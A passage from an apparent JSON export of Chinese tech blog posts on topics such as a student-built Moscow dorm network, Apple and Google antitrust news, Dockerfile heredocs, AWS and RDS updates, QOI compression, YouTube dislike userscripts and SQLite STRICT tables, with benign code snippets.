top of it. They were cutting each other’s cables, executing DDoS attacks, stealing equipment, etc.</blockquote>\r\n\r\n然後是拉光纖對接幾個主要的區塊，以上面剛剛拉出來的數字來看，應該是因為雙絞線 (UTP，<a href=\"https://en.wikipedia.org/wiki/Twisted_pair\">Twisted pair</a>) 的 100 公尺長度限制，所以這部份必須透過光纖：\r\n\r\n<blockquote>To connect this router to the other parts of the network, we laid fiber cables through secret passages in the walls, ceilings, floors, and ventilation shafts.</blockquote>\r\n\r\n然後用 Switch 再拉到每個房間 (所謂的 <a href=\"https://en.wikipedia.org/wiki/Last_mile\">Last mile</a>)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/B9uFib7.webp\" /><img src=\"https://i.gslin.com/imgur/B9uFib7.jpg\" alt=\"\" /></picture>\r\n\r\n然後外部就沒在怕你的拉：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/vw3JFV1.webp\" /><img src=\"https://i.gslin.com/imgur/vw3JFV1.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/tJ4jyiQ.webp\" /><img src=\"https://i.gslin.com/imgur/tJ4jyiQ.jpg\" alt=\"\" /></picture>\r\n\r\n還包括了把 UTP 的八芯線分開用的方法，這邊提到了 100Mbps 應該是升級上去了：\r\n\r\n<blockquote>Most of the time, we managed to reduce the number of cables coming out of the window down to ~15. We could do this because of a simple trick: the regular ethernet cable (Cat 5e) has 8 wires. And to transmit 100 Mbps, you need just 4 of them. All 8 wires are required only for a 1 Gbps connection. So using a single cable, you can connect 2 clients who live close to each other. We always tried to do that if possible because the hole can’t fit so many cables.</blockquote>\r\n\r\n往後拉一點的樣子：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/bSjymOw.webp\" /><img src=\"https://i.gslin.com/imgur/bSjymOw.jpg\" alt=\"\" /></picture>\r\n\r\n後面講到很多故事以及常見的 trouble shooting 問題，現在的網路設備能支援的架構好太多，應該都有比較好的解法了...",
    "title": "莫斯科大學的學生自己在宿舍架設宿舍網路的歷史故事 (2002～2013)"
  },
  {
    "id": "10419",
    "body": "大標題是「<a href=\"https://www.theverge.com/2021/11/9/22773082/epic-apple-fortnite-lawsuit-ruling-injunction-stay-app-store-anti-steering-rules\">Judge orders Apple to allow external payment options for App Store by December 9th, denying stay</a>」，小標題是「And Apple announces it will appeal」。\r\n\r\n本來 <a href=\"https://www.apple.com/\">Apple</a> 想要繼續拖延，但法院直接打槍，然後 Apple 決定要再上訴到<a href=\"https://zh.wikipedia.org/wiki/%E7%BE%8E%E5%9B%BD%E8%81%94%E9%82%A6%E7%AC%AC%E4%B9%9D%E5%B7%A1%E5%9B%9E%E4%B8%8A%E8%AF%89%E6%B3%95%E9%99%A2\">第九巡迴庭</a>，基本上我們就是在旁邊坐著等看戲...\r\n\r\n另外前陣子 <a href=\"https://www.google.com/\">Google</a> 宣佈在南韓會開放其他付款機制 (參考「<a href=\"https://blog.gslin.org/archives/2021/11/07/10407/google-%e5%9c%a8%e5%8d%97%e9%9f%93%e9%96%8b%e6%94%be-app-%e8%a3%a1%e9%9d%a2%e4%bd%bf%e7%94%a8%e5%85%b6%e4%bb%96%e4%bb%98%e6%ac%be%e6%a9%9f%e5%88%b6%e4%ba%86/\">Google 在南韓開放 app 裡面使用其他付款機制了</a>」)，就沒看到 Apple 這邊的動作，找了一下新聞只看到 Apple 在南韓的頭決定不幹了：「<a href=\"https://appleinsider.com/articles/21/11/04/apples-top-exec-in-south-korea-departs-amid-dispute-over-app-store\">Apple's top exec in South Korea departs amid dispute over App Store</a>」，也許之後再找看看...",
    "title": "法院認為 Apple 必須在 12 月 9 日前開放行動平台上的第三方支付"
  },
  {
    "id": "10421",
    "body": "從「<a href=\"https://www.reuters.com/technology/eu-court-upholds-eu-antitrust-ruling-against-google-2021-11-10/\">Google loses challenge against EU antitrust ruling, $2.8-bln fine</a>」這邊看到的，新聞的標題寫的是換算後的美金。\r\n\r\n新聞裡提到歐盟主要有三個主題在跟 <a href=\"https://www.google.com/\">Google</a> 訴訟，這次確定的是利用搜尋引擎偏好自家的購物比較服務，產生不公平競爭：\r\n\r\n<blockquote>Competition Commissioner Margrethe Vestager fined the world's most popular internet search engine in 2017 over the use of its own price comparison shopping service to gain an unfair advantage over smaller European rivals.</blockquote>\r\n\r\n另外兩個還在進行的是 <a href=\"https://www.android.com/\">Android</a> 與 <a href=\"https://en.wikipedia.org/wiki/Google_AdSense\">AdSense</a>：\r\n\r\n<blockquote>The company could face defeats in appeals against the other two rulings involving its Android mobile operating system and AdSense advertising service, where the EU has stronger arguments, antitrust specialists say.</blockquote>\r\n\r\n應該是還有個 <a href=\"https://www.youtube.com/\">YouTube</a> 才對，不過印象中主要是版權相關的問題，跟 antitrust 這邊的關係好像少了一些...",
    "title": "歐盟對 Google 的 24.2 億歐元的罰款確定"
  },
  {
    "id": "10423",
    "body": "本來是把 <a href=\"https://github.com/benbusby/whoogle-search\">Whoogle</a> 跑在固定 IP 的機器上面，後來發現一下就被擋了，改用 <a href=\"https://www.torproject.org/\">Tor</a> 跑也沒用 (exit node 的 IP reputation 應該更差)，花了些時間搬到 <a href=\"https://www.raspberrypi.com/\">Raspberry Pi</a> 上面跑，改用浮動 IP 來跑。\r\n\r\n首先是 Docker 跑不起來的問題，這主要是 Raspberry Pi 第一代的 CPU 指令集似乎跟主流的 armhf 不同？不確定... 但最後是直接上 <a href=\"https://github.com/pypa/pipx\">pipx</a> 解決。\r\n\r\n跑起來以後發現 IPv6 的 reputation 也很差，幾乎是一定會被擋 (在『<a href=\"https://blog.gslin.org/archives/2021/11/07/10406/%e7%b9%9e%e9%81%8e-web-%e4%b8%8a%e3%80%8c%e9%98%b2%e6%a9%9f%e5%99%a8%e4%ba%ba%e3%80%8d%e6%a9%9f%e5%88%b6%e7%9a%84%e8%b3%87%e6%96%99/\">繞過 Web 上「防機器人」機制的資料</a>』這篇有提到)，所以乾脆把整台機器的 IPv6 network 都關掉，強迫讓他走 IPv4 network，然後再定時重新撥 <a href=\"https://en.wikipedia.org/wiki/Point-to-Point_Protocol_over_Ethernet\">PPPoE</a> 去換 IP...\r\n\r\n不過目前是跑在 Raspberry Pi 第一代上面，速度真的好慢... 看之後有沒有機會換另外的板子 :o",
    "title": "把 Whoogle 改跑在 Raspberry Pi 上面"
  },
  {
    "id": "10425",
    "body": "因為需要一張 1920x1080 全灰色的圖片，翻了一下 <a href=\"https://duckduckgo.com/\">DuckDuckGo</a> 找到這篇：「<a href=\"https://stackoverflow.com/questions/39860884/linux-create-image-pixel-by-pixel-in-command-line\">Linux create Image pixel by pixel in command line</a>」。\r\n\r\n裡面抓重點，主要的想法是 PPM 格式 (可以參考「<a href=\"https://en.wikipedia.org/wiki/Netpbm\">Netpbm</a>」這個條目)，然後找到「<a href=\"http://davis.lbl.gov/Manuals/NETPBM/doc/ppm.html\">PPM Format Specification</a>」這份文件。\r\n\r\n主要就是用 P3 模式下去產生檔案：\r\n\r\n<pre>\r\nrepeat 2073600 echo '127 127 127' &gt;&gt; grey.ppm\r\n</pre>\r\n\r\n然後開頭的地方修一下，加上 <code>P3</code>、長寬資訊以及最大的值：\r\n\r\n<pre>\r\nP3\r\n1920 1080\r\n255\r\n</pre>\r\n\r\n接著就用 <a href=\"https://en.wikipedia.org/wiki/ImageMagick\">ImageMagick</a> 轉檔：\r\n\r\n<pre>\r\nconvert grey.ppm grey.png\r\n</pre>\r\n\r\n然後用 viewer 看一下，確認沒問題就收工了...",
    "title": "在 command line 下生出全灰的圖片"
  },
  {
    "id": "10430",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://blog.llvm.org/posts/2021-11-18-relicensing-update/\">LLVM relicensing update &amp; call for help</a>」這篇，在講 <a href=\"https://llvm.org/\">LLVM</a> 計畫從 <a href=\"https://en.wikipedia.org/wiki/University_of_Illinois/NCSA_Open_Source_License\">UIUC license</a> 與 <a href=\"https://en.wikipedia.org/wiki/MIT_License\">MIT license</a> 授權轉成 <a href=\"https://en.wikipedia.org/wiki/Apache_License\">Apache License</a> 2.0 的進展，在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論「<a href=\"https://news.ycombinator.com/item?id=29292516\">LLVM relicensing update and call for help (llvm.org)</a>」也可以翻一下。\r\n\r\n目前的規劃是這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/rYHc89S.webp\" /><img src=\"https://i.gslin.com/imgur/rYHc89S.png\" alt=\"\" /></picture>\r\n\r\n文章開頭還是先花了一些篇幅解釋，這個計畫主要是要處理專利的問題，原先的 developer policy 對於專利的句子太粗糙，會授權過多的權力給 LLVM。這對於一般個人可能影響不大，但對於手上有一卡車專利的公司來說就不太願意了。\r\n\r\n另外一個問題是 LLVM 遇到的問題，因為 runtime library 的部份是用 UIUC license + MIT license 授權，但主體是用 UIUC license 授權，這使得主體的程式碼不能隨意搬到 runtime library 裡面：\r\n\r\n<blockquote>The run time libraries were dual licensed under the UIUC and MIT license; the rest of the code only under the UIUC license. Therefore, we could not easily move code to run time libraries from other parts. The reason run time libraries were dual licensed was to enable linking to run time library binaries without requiring attribution to LLVM.</blockquote>\r\n\r\n因為這些目標，所以新的授權會是 Apache License 2.0 為主，裡面有設計還算合理的專利授權條件，另外大家也算熟悉，再來是針對 object code 以及 <a href=\"https://en.wikipedia.org/wiki/GPLv2\">GPLv2</a> 設計了例外條款：\r\n\r\n<blockquote>As an exception, if, as a result of your compiling your source code, portions of this Software are embedded into an Object form of such source code, you may redistribute such embedded portions in such Object form without complying with the conditions of Sections 4(a), 4(b) and 4(d) of the License.\r\n\r\nIn addition, if you combine or link compiled forms of this Software with software that is licensed under the GPLv2 (\"Combined Software\") and if a court of competent jurisdiction determines that the patent provision (Section 3), the indemnity provision (Section 9) or other Section of the License conflicts with the conditions of the GPLv2, you may retroactively and prospectively choose to deem waived or otherwise exclude such Section(s) of the License, but only in their entirety and only with respect to the Combined Software.</blockquote>\r\n\r\n在「<a href=\"https://foundation.llvm.org/docs/relicensing_long_tail/\">Long tail of individuals and corporations without a relicensing agreement yet</a>」這邊有目前還沒有同意重新授權的人以及團隊的資料，看起來不會是每個人都願意重新授權，到時候可能還得再挑出來重寫，但有些可以獨立出來的可能可以維持，畢竟 UIUC licesne 與 MIT license 都是 permissive license，只要放到另外一個目錄下，大家知道不是 Apache License 2.0 就還好...",
    "title": "LLVM 的更換授權進展"
  },
  {
    "id": "10431",
    "body": "在 <a href=\"https://simonwillison.net/\">Simon Willison</a> 這邊看到的，在 <a href=\"https://docs.docker.com/engine/reference/builder/\">Dockerfile</a> 裡面使用 heredoc 語法編 <a href=\"https://www.docker.com/\">Docker</a> image：「<a href=\"https://simonwillison.net/2021/Nov/22/introduction-to-heredocs-in-dockerfiles/\">Introduction to heredocs in Dockerfiles</a>」，引用的文章是「<a href=\"https://www.docker.com/blog/introduction-to-heredocs-in-dockerfiles/\">Introduction to heredocs in Dockerfiles</a>」與「<a href=\"https://jedevc.com/blog/dockerfile-heredocs-intro/\">Introduction to heredocs in Dockerfiles</a>」，七月的事情了。\r\n\r\n<a href=\"https://en.wikipedia.org/wiki/Here_document\">heredoc</a> 指的是可以讓開發者很方便使用多行結構，在 Dockerfile 這邊常見到的 pattern：\r\n\r\n<pre>\r\nRUN apt-get update\r\nRUN apt-get upgrade -y\r\nRUN apt-get install -y ...\r\n</pre>\r\n\r\n但這樣會產生出很多層 image，所以先前的 best practice 是：\r\n\r\n<pre>\r\nRUN apt-get update && \\\r\n    apt-get upgrade -y && \\\r\n    apt-get install -y ...\r\n</pre>\r\n\r\n而 heredoc 的導入簡化了不少事情，這應該有機會成為新的 best practice：\r\n\r\n<pre>\r\nRUN &lt;&lt;EOF\r\napt-get update\r\napt-get upgrade -y\r\napt-get install -y ...\r\nEOF\r\n</pre>\r\n\r\n要注意的是，開頭要記得加上 <code>#syntax</code> 的宣告，用到 <code>docker/dockerfile:1.3-labs</code> 這組才能使用 heredoc：\r\n\r\n<pre>\r\n# syntax=docker/dockerfile:1.3-labs\r\n</pre>\r\n\r\n然後用 buildkit 去編，用新版的 Docker 已經包 buildkit v0.9.0 進去了：\r\n\r\n<pre>\r\nDOCKER_BUILDKIT=1 docker build .\r\n</pre>",
    "title": "使用 heredoc 語法的 Dockerfile"
  },
  {
    "id": "10432",
    "body": "<a href=\"https://twitter.com/jeffbarr\">Jeff Barr</a> 出來公告增加 <a href=\"https://aws.amazon.com/\">AWS</a> 流量相關的 free tier：「<a href=\"https://aws.amazon.com/blogs/aws/aws-free-tier-data-transfer-expansion-100-gb-from-regions-and-1-tb-from-amazon-cloudfront-per-month/\">AWS Free Tier Data Transfer Expansion – 100 GB From Regions and 1 TB From Amazon CloudFront Per Month</a>」。\r\n\r\n一般性的 data transfer 從 1GB/month/region 變成 100GB/mo，現在是 21 regions 所以不會有反例，另外大多數的人或是團隊也就固定用一兩個 region，這個 free tier 大概可以省個 $10 到 $20 左右？\r\n\r\n<blockquote><strong>Data Transfer from AWS Regions to the Internet</strong> is now free for up to 100 GB of data per month (up from 1 GB per region). This includes Amazon EC2, Amazon S3, Elastic Load Balancing, and so forth. The expansion does not apply to the AWS GovCloud or AWS China Regions.</blockquote>\r\n\r\n另外是 <a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a> 的部份，本來只有前 12 個月有 free tier，現在是開放到所有帳號都有，另外從 50GB/month 升到 1TB/month，這個部份的 free tier 就不少了，大概是 $100 到 $200？\r\n\r\n<blockquote>Data Transfer from Amazon CloudFront is now free for up to 1 TB of data per month (up from 50 GB), and is no longer limited to the first 12 months after signup. We are also raising the number of free HTTP and HTTPS requests from 2,000,000 to 10,000,000, and removing the 12 month limit on the 2,000,000 free CloudFront Function invocations per month. The expansion does not apply to data transfer from CloudFront PoPs in China.</blockquote>\r\n\r\n今年十二月才生效，要注意一下不要現在就用爽爽：\r\n\r\n<blockquote>This change is effective December 1, 2021 and takes effect with no effort on your part.</blockquote>\r\n\r\n這樣好像可以考慮把 blog 與 wiki 都放上去玩玩看，目前這兩個服務都是用 Cloudflare 的 free tier，<a href=\"https://www.hinet.net/\">HiNet</a> 用戶基本上都是連去 Cloudflare 的美西 PoP，偶而離峰時間會用亞洲的點，但都不會是台灣的 PoP...\r\n\r\n不過記得之前 <a href=\"https://wordpress.org/\">WordPress</a> + CloudFront 有些狀況，再研究看看要怎麼弄好了...",
    "title": "AWS 流量相關的 Free Tier 增加不少..."
  },
  {
    "id": "10433",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://phoboslab.org/log/2021/11/qoi-fast-lossless-image-compression\">Lossless Image Compression in O(n) Time</a>」這篇，作者丟出了一個圖片的無損壓縮演算法，壓縮與解壓縮的速度超快，但壓縮率又不輸 <a href=\"https://en.wikipedia.org/wiki/Portable_Network_Graphics\">PNG</a> 太多，在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論也可以看一下：「<a href=\"https://news.ycombinator.com/item?id=29328750\">QOI: Lossless Image Compression in O(n) Time (phoboslab.org)</a>」。\r\n\r\n裡面有提到在遊戲產業常用到的 <a href=\"https://github.com/nothings/stb/blob/master/stb_image.h\">stb_image.h</a>：\r\n\r\n<blockquote>Yes, stb_image saved us all from the pains of dealing with libpng and is therefore used in countless games and apps. A while ago I aimed to do the same for video with pl_mpeg, with some success.</blockquote>\r\n\r\n作者的簡介也可以看到他的主業也在遊戲這塊：\r\n\r\n<blockquote>My name is Dominic Szablewski. I build games, experiment with JavaScript and occasionally tinker with low-level C.</blockquote>\r\n\r\n圖片的無損壓縮與解壓縮算是遊戲創作者蠻常用到的功能，所以他想要看看這塊有沒有機會有更好的工具，於是他就用了四個很簡單的演算法幹完了 QOI (然後發現效果很讚)：\r\n\r\n<ul>\r\n\t<li>A run of the previous pixel</li>\r\n\t<li>An index into a previously seen pixel</li>\r\n\t<li>The difference to the previous pixel</li>\r\n\t<li>Full rgba values</li>\r\n</ul>\r\n\r\n其實從 Hacker News 的討論也可以看到這組演算法也常被拿出來在現代的壓縮演算法使用，所以雖然作者自稱不是 compression guy，但他用的演算法其實蠻專業的...\r\n\r\n然後挑 single thread 主要是可以避免 threading 的複雜度以及 overhead，在「<a href=\"https://phoboslab.org/files/qoibench/\">QOI Benchmark Results</a>」這頁可以看到，無論是什麼類型的檔案，壓縮與解壓縮的速度都相當漂亮，而且壓縮率又沒有差 libpng 太多。\r\n\r\n而且作者自己有提到，還沒用到 <a href=\"https://en.wikipedia.org/wiki/SIMD\">SIMD</a> 指令集加速，這樣猜測應該還有不少空間...",
    "title": "QOI 圖片無損壓縮演算法"
  },
  {
    "id": "10435",
    "body": "<a href=\"https://aws.amazon.com/vpc/\">Amazon VPC</a> 支援純 IPv6 的網段了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2021/11/amazon-virtual-private-cloud-ipv6-subnets-ec2-instances/\">Amazon Virtual Private Cloud (VPC) customers can now create IPv6-only subnets and EC2 instances</a>」。\r\n\r\n先前機器都還是要設一個 IPv4 位置，所以網段都必須有 IPv4 network space，這次推出使得機器可以跑在 IPv6-only network 上了，不過 <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a> 裡面應該還是會有個 <code>lo</code> 與 <code>127.0.0.1</code>...\r\n\r\n短時間應該用不到，不過可以先玩看看感覺一下...",
    "title": "Amazon VPC 支援純 IPv6 的網段了"
  },
  {
    "id": "10436",
    "body": "在「<a href=\"https://hostingjournalist.com/varnish-software-achieves-500gbps-throughput-per-server-for-uhd-video-content/\">Varnish Software Achieves 500Gbps Throughput Per Server for UHD Video Content</a>」這邊看到 PR 稿，由 <a href=\"https://www.intel.com/\">Intel</a> 與 <a href=\"https://www.varnish-software.com/\">Varnish</a> 合作，宣稱達到單機 500Gbps 的 throughput 了：\r\n\r\n<blockquote>According to Varnish Software, the following were the outcomes of the test:\r\n\r\n<ul>\r\n\t<li>509.7 Gbps live-linear throughput, using a dual-processor configuration</li>\r\n\t<li>487.2 Gbps video-on-demand throughput, using a dual-processor configuration</li>\r\n</ul></blockquote>\r\n\r\n白皮書在「<a href=\"https://info.varnish-software.com/whitepapers/delivering-up-to-500-gbps-throughput-for-next-gen-cdns\">Delivering up to 500 Gbps Throughput for Next-Gen CDNs</a>」這頁可以用個資交換下載，不過用搜尋引擎找一下可以發現 Intel 那邊有放出 PDF (但不確定兩邊給的是不是同一份)：「<a href=\"https://builders.intel.com/docs/networkbuilders/delivering-up-to-500-gbps-throughput-for-next-gen-cdns-1634717492.pdf\">Delivering up to 500 Gbps Throughput for Next-Gen CDNs</a>」。\r\n\r\n單 CPU 的伺服器是四個 100Gbps 界面接出來，雙 CPU 的伺服器是八個 (這邊 SUT 是 system under test 的縮寫)：\r\n\r\n<blockquote>These client systems were connected to the CDN servers using 100 GbE links through a switch; 4x100 GbE connections for the single-processor SUT, and 8x100 GbE for the dualprocessor SUT. Testing was done using Wrk, a widely recognized open-source HTTP(S) benchmarking tool.</blockquote>\r\n\r\n不過如果實際看圖會發現伺服器是兩個 100Gbps (單 CPU) 與四個 100Gbps (雙 CPU)，然後 <a href=\"https://github.com/wg/wrk\">wrk</a> 也吃了兩個或是四個 100Gbps：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/jEgusu9.webp\" /><img src=\"https://i.gslin.com/imgur/jEgusu9.png\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/V50vGom.webp\" /><img src=\"https://i.gslin.com/imgur/V50vGom.png\" alt=\"\" /></picture>\r\n\r\n在白皮書最後面也有提到測試的配置，都是在 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 20.04 上面跑，單 CPU 用的是兩張 Intel 的 100Gbps 網卡，雙 CPU 的用的是四張 <a href=\"http://www.mellanox.com/\">Mellanox</a> 的 100Gbps 網卡：\r\n\r\n<blockquote>3rd generation Intel Xeon Scalable testing done by Intel in September 2021. Single processor SUT configuration was based on the Supermicro SMC 110P-WTR-TNR single socket server based on Intel® Xeon® Platinum 8380 processor (microcode: 0xd000280) with 40 cores operating at 2.3 GHz. The server featured 256 GB of RAM. Intel® Hyper-Threading Technology was enabled, as was Intel® Turbo Boost Technology 2.0. Platform controller hub was the Intel C620. NUMA balancing was enabled. BIOS version was 1.1. Network connectivity was provided by two 100 GbE Intel® Ethernet Network Adapters E810. 1.2 TB of boot storage was available via an Intel SSD. Application storage totaled 3.84TB per drive and was provided by 8 Intel P5510 SSDs. The operating system was Ubuntu Linux release 20.04 LTS with kernel 5.4.0-80 generic. Compiler GCC was version 9.3.0. The workload was wrk/master (April 17, 2019), and the version of Varnish was varnishplus-6.0.8r3. Openssl v1.1.1h was also used. All traffic from clients to SUT was encrypted via TLS.\r\n\r\n3rd generation Intel Xeon Scalable testing done by Intel in September 2021. Dual processor SUT configuration was based on the Supermicro SMC 22OU-TNR dual socket server based on Intel® Xeon® Platinum 8380 processor (microcode: 0xd000280) with 40 cores operating at 2.3 GHz. The server featured 256 GB of RAM. Intel® Hyper-Threading Technology was enabled, as was Intel® Turbo Boost Technology 2.0. Platform controller hub was the Intel C620. NUMA balancing was enabled. BIOS version was 1.1. Network connectivity was provided by four 100 GbE Mellanox MCX516A-CDAT adapters. 1.2 TB of boot storage was available via an Intel SSD. Application storage totaled 3.84TB per drive and was provided by 12 Intel P5510 SSDs. The operating system was Ubuntu Linux release 20.04 LTS with kernel 5.4.0-80- generic. Compiler GCC was version 9.3.0. The workload was wrk/master (April 17, 2019), and the version of Varnish was varnish-plus6.0.8r3. Openssl v1.1.1h was also used. All traffic from clients to SUT was encrypted via TLS.</blockquote>\r\n\r\n不過馬上就會滿頭問號，四張 100Gbps 是怎麼跑到 500Gbps 的頻寬...\r\n\r\n這份 PR 馬上就讓人想到 <a href=\"https://www.netflix.com/\">Netflix</a> 先前放出來的投影片 (先前有在「<a href=\"https://blog.gslin.org/archives/2021/09/20/10338/netflix-%e5%9c%a8%e5%96%ae%e6%a9%9f%e6%9c%8d%e5%8b%99-400gbps-%e7%9a%84%e5%bd%b1%e9%9f%b3%e6%b5%81%e9%87%8f/\">Netflix 在單機服務 400Gbps 的影音流量</a>」這篇提到)，在 Netflix 的投影片裡面有提到他們在 Intel 平台上面受限於記憶體的頻寬，整台機器只能跑到 230Gbps。\r\n\r\n另外一種猜測是，如果 Intel 與 Varnish 宣稱的 500Gbps 是算 switch 上的總流量 (有這樣算的嗎，你是 <a href=\"https://www.juniper.net/\">Juniper</a> 嗎...)，那這邊的 500Gbps 換算回去差不多就是減半 (還很客氣的沒把 cache 沒中需要去 origin server 拉資料的流量扣掉)，跟 Netflix 在 <a href=\"https://www.freebsd.org/\">FreeBSD</a> 上跑出來的結果差不多啊...\r\n\r\n坐等反駁 XDDD",
    "title": "來看 Intel + Varnish 的單機 500Gbps 的 PR 新聞稿"
  },
  {
    "id": "10438",
    "body": "從來沒在用 <a href=\"https://aws.amazon.com/rds/\">RDS</a> 的 Multi AZ，所以根本沒注意到居然沒這個功能：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2021/11/multi-az-deployment-amazon-rds-postgre-sql/\">New Multi-AZ deployment option for Amazon RDS for PostgreSQL and for MySQL; increased read capacity, lower and more consistent write transaction latency, and shorter failover time (Preview)</a>」。\r\n\r\n看起來 (加上印象中) 之前的 Multi AZ 是另外一台機器先開著但不能用：\r\n\r\n<blockquote>In the case of an infrastructure failure, Amazon RDS performs an automatic failover to the standby, so that database operations resume as soon as the failover is complete.</blockquote>\r\n\r\n現在則是開著的機器可以跑 readonly 模式：\r\n\r\n<blockquote>The standby DB instances act as automatic failover targets and can also serve read traffic to increase throughput without needing to attach additional read replica DB instances.</blockquote>\r\n\r\n這樣做除了省成本外，另外因為這些 instance 平常就有 query 的量，當真的遇到 failover 切換時，warmup 的時間也會短很多 (尤其是服務夠大的時候)。\r\n\r\n不過有些限制，首先看起來只支援 Graviton2 (<a href=\"https://www.arm.com/\">ARM</a>-based) 的機種？\r\n\r\n<blockquote>The readable standby option for Amazon RDS Multi-AZ deployments works with AWS Graviton2 R6gd and M6gd DB instances (with NVMe-based SSD instance storage) and Provisioned IOPS Database Storage.</blockquote>\r\n\r\n然後是支援的區域：\r\n\r\n<blockquote>The Preview is available in the US East (N. Virginia), US West (Oregon), and Europe (Ireland) regions.</blockquote>\r\n\r\n以及夠新的版本，<a href=\"https://dev.mysql.com/\">MySQL</a> 8 與 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 13.4 才有提供：\r\n\r\n<blockquote>Amazon RDS for MySQL supports the Multi-AZ readable standby option for MySQL version 8.0.26. Amazon RDS for PostgreSQL supports the Multi-AZ readable standby option for PostgreSQL version 13.4.</blockquote>\r\n\r\n但看起來還不錯，畢竟這比較接近以前在地端機房時的作法...",
    "title": "Amazon RDS 支援 readonly instance 當作 Multi AZ 的機器了"
  },
  {
    "id": "10439",
    "body": "最近 <a href=\"https://www.youtube.com/\">YouTube</a> 也在搞事，把 Dislike 的數字拔掉了，後來在 <a href=\"https://greasyfork.org/\">Greasy Fork</a> 上面找了一下，看到有兩套方法可以把數字補回來。\r\n\r\n第一套是「<a href=\"https://greasyfork.org/en/scripts/436115-return-youtube-dislike\">Return YouTube Dislike</a>」這個方法，從程式碼裡面可以看到是透過 API 拉出來的：\r\n\r\n<pre>\r\nfunction setState() {\r\n  cLog('Fetching votes...');\r\n \r\n  doXHR({\r\n    method: \"GET\",\r\n    responseType: \"json\",\r\n    url:\r\n      \"https://return-youtube-dislike-api.azurewebsites.net/votes?videoId=\" +\r\n      getVideoId(),\r\n    onload: function (xhr) {\r\n      if (xhr != undefined) {\r\n        const { dislikes, likes } = xhr.response;\r\n        cLog(`Received count: ${dislikes}`);\r\n        setDislikes(numberFormat(dislikes));\r\n        createRateBar(likes, dislikes);\r\n      }\r\n    },\r\n  });\r\n}\r\n</pre>\r\n\r\n這個 API 後面應該是接 <a href=\"https://developers.google.com/youtube/v3/docs/videos/getRating\">Videos: getRating</a> 拉資料出來，但畢竟不是直接打 YouTube API (比較麻煩，需要每個使用者自己申請 API token)，這樣就有隱私的疑慮了...\r\n\r\n另外一套是「<a href=\"https://greasyfork.org/en/scripts/436032-show-youtube-dislike-count\">Show Youtube Dislike Count</a>」，看了裡面程式碼發現他是用 <code>averageRating</code> 反推回來：\r\n\r\n<pre>\r\nif (likeCount &gt;= 0) {\r\n    const r = data.playerResponse.videoDetails.averageRating;\r\n    const dislikeCount = Math.round(likeCount * (5 - r) / (r - 1));\r\n\r\n    ShowDislikes(likeCount, dislikeCount);\r\n}\r\n</pre>\r\n\r\n不過作者有點偷懶，這邊在等待頁面生成單純用 100ms 等頁面出現，有時候還是會有 race condition (就是後面還是讀不到 XDDD)，如果懶的大修的話可以改成 1000ms 混過去，降低一些機率：\r\n\r\n<pre>\r\nwhile (!isLoaded) {\r\n    await Sleep(100);\r\n}\r\n</pre>\r\n\r\n另外數字很大的時候會稍微不準，但也算夠用了，先暫時用這套來頂著了...",
    "title": "把 YouTube 的 Dislike 數字弄回來"
  },
  {
    "id": "10441",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到「<a href=\"https://news.ycombinator.com/item?id=29363054\">SQLite Release 3.37.0 (sqlite.org)</a>」，原文在「<a href=\"https://www.sqlite.org/releaselog/3_37_0.html\">SQLite Release 3.37.0 On 2021-11-27</a>」這邊。\r\n\r\n這個版本引入了 <a href=\"https://www.sqlite.org/stricttables.html\">STRICT Tables</a>，先前在「<a href=\"https://blog.gslin.org/archives/2021/08/24/10290/sqlite-%E7%9B%AE%E5%89%8D%E5%9C%A8%E8%A6%8F%E5%8A%83%E7%9A%84-strict-table%EF%BC%8C%E4%BB%A5%E5%8F%8A%E6%88%91%E5%BE%9E%E4%BE%86%E4%B8%8D%E7%9F%A5%E9%81%93%E5%8E%9F%E4%BE%86%E5%8F%AF%E4%BB%A5%E9%80%99/\">SQLite 目前在規劃的 Strict Table，以及我從來不知道原來可以這樣惡搞...</a>」這邊有提過。\r\n\r\n官方給出來的範例是這樣，如果沒有要求 <code>STRICT</code> 的話，可以看到各種變化：\r\n\r\n<pre>\r\nCREATE TABLE t1(a ANY);\r\nINSERT INTO t1 VALUES('000123');\r\nSELECT typeof(a), quote(a) FROM t1;\r\n-- result: integer 123\r\n</pre>\r\n\r\n加上 <code>STRICT</code> 後就會與「預期」的結果比較接近：\r\n\r\n<pre>\r\nCREATE TABLE t1(a ANY) STRICT;\r\nINSERT INTO t1 VALUES('000123');\r\nSELECT typeof(a), quote(a) FROM t1;\r\n-- result: text '000123'\r\n</pre>\r\n\r\n對於希望 database 在處理資料嚴謹一點的人來說，應該是個不錯的新功能，但畢竟不是預設值，對於剛跨進來用的人應該還是有中獎機會 XD",
    "title": "SQLite 3.37.0 以及 STRICT table 的設計"
  },
  {
    "id": "10442",
